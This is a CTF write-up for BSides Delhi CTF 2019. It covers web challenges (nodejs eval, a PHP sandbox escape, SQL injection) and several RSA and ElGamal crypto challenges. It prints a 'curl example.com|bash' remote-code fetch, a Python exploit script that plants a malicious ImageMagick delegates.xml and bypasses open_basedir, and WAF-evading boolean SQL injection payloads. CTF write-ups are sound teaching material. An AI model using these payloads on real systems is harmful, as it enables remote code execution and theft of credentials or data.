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BSides Delhi CTF 2019

It's recommended to read our responsive web version of this writeup.

Web

Weird Calculator

After a little fuzzing we found it's running nodejs eval.

require('child_process').exec('curl example.com|bash')

Half of the flag is in source code, and the other is in a another file.

Flag: bsides_delhi{Prototype_nd_sh3ll1ng_by_the_Cs1de}

Eval Me

In this callenge, we can execute php eval() but it has lots of disabled functions. openbase_dir is also set.

Let's first bypass openbae_dir to see if we can directly read the flag.

<?php
var_dump(getcwd());
mkdir('foo');
chdir('foo');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(file("/flag")); // because fopen, file_get_contents are disabled
var_dump(getcwd());
foreach (glob("/*flag") as $filename) {                                                                                        
    echo "$filename size " . filesize($filename) . "\n";
}

Sadly, no. We need to execute /readFlag.

Let's collect more information:

  1. putenv is not in disabed functions.
  2. imagemagick plugin is installed.

First, I tried to overwrite $PATH but it somehow does not work....

Anyway, at least we can bypass the php sandbox via LD_PRELOAD + imagemagick. Please see the Wallbreaker easy from 0CTF/TCTF Quals here.

However, I found another interesting writeup. Section 3-1 shows that we can also overwrite delegate.xml by defining MAGICK_CONFIGURE_PATH environment variable.

This is much more interesting compared to the LD_PRELOAD trick. Let's try this.

#!/usr/bin/env python3
import requests
s = requests.session()
payload='''
error_reporting(E_ALL);
ini_set('display_errors', 1);
mkdir('foo');
chdir('foo');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump("------------------------------------------");
var_dump($SANDBOX);
var_dump($_FILES["file"]);
mkdir("/var/tmp/.systemd");
$fileext="pokemon";
var_dump(move_uploaded_file($_FILES["file"]["tmp_name"], "/var/tmp/.systemd/delegates.xml"));
var_dump(move_uploaded_file($_FILES["img"]["tmp_name"], "/var/tmp/.systemd/.a.".$fileext));
foreach (glob("/var/tmp/.systemd/.*") as $filename) {
    var_dump("$filename size " . filesize($filename) . "\n");
}
__halt_compiler();
array_map('rmdir', glob("/var/tmp/*"));
putenv('MAGICK_CONFIGURE_PATH=/var/tmp/.systemd');
var_dump(file("/var/tmp/.systemd/.a.".$fileext));
$img = new Imagick('/var/tmp/.systemd/.a.'.$fileext);
var_dump($img);
$img = new Imagick('/var/tmp/.systemd/.a.'.$fileext);
var_dump($img);
var_dump("------------------------------------------");
'''.replace('\n', '')
r = s.post('http://34.67.7.120/', params=dict(input=payload), files={'file': ('foo', '''
<delegatemap>
  <delegate decode="pokemon" command="sh -c &quot;curl example.com|bash&quot;"/>
</delegatemap>
'''), 'img': ('bar', 'bazz')})
print(r.text)

Flag: `bsides_delhi{PHP-Imagick,isn't_fun??SOFFICE}``

Seek You El

In this challenge, there is a SQL Injection on the pw parameter.

We need to login as admin to get the flag, but /?%5f=' or 1=1 and user=x'61646d696e'# not work.

So maybe we need to get the pw value of the admin to login.

And there is WAF in this challenge, we can't use (), select, sleep, ....

Then I found that we can use SQL error to do boolean-based SQL Injection:

/?%5f='or ~0+1# => Error

/?%5f='or ~0+0# => OK

OK, let's dump pw:

/?%5f='or user=x'61646d696e' and (~(ascii(mid(pw,1,1))>0)+1) #

/?%5f='or user=x'61646d696e' and (~(ascii(mid(pw,1,1))>100)+1) #

...

Then we have pw: 9f3b7c0e1a

Using this pw to login and get the flag:

bsides_delhi{sequel_injections_are_really_great_i_guess_dont_you_think?}

Crypto

SecureMAC

Two parts in this challenge:

  1. get the key
  2. generate a collision to this mac

First Part

Same technique as in CSAW CTF - Fault Box

let f be bytes_to_long("fake_flag") c will be f ** e + k * p for some k We know the value of f ** e Simply calculate gcd(f ** e - c, n) will give us prime factor p, then we can factor n

Second Part

To make things simple, we send messages of 32 bytes. Both messageblocks[1] and tag, which is ECB.encrypt(messageblocks[0]) we can control Just make the result of strxor be the same

flag: bsides_delhi{F4ult'n'F0rg3_1s_@_b4d_c0mb1n4ti0n}

BabyRSA

This is yet another RSA challenge salt can be decrypt directly Then, use wiener attack to factor n = p * q and get p1 * p2 Simply gcd p1 * p2 with n1 and n2 and get all the prime factors Note that gcd(e1, (p1 - 1) * (q1 - 1)) != 1 and gcd(e2, (p2 - 1) * (q2 - 1)) != 1, we can't directly decrypt magic Luckily, gcd(e1, q1 - 1) == 2 and gcd(e2, q2 - 1) == 2 We can get m ** 2 % q1 and m ** 2 % q2 Then use the same technique as in Rabin cryptosystem, which is modular square root and chinese remainder theorem

flag: bsides_delhi{JuG1iNg_WiTh_RS4}

ExtendedElgamal

rand = lambda: random.randint(133700000,2333799999) this is a small range Brute force it and get z Then calculate e / (g^k)^z to get m

flag: bsides_delhi{that5_som3_b4d_k3y_generation!}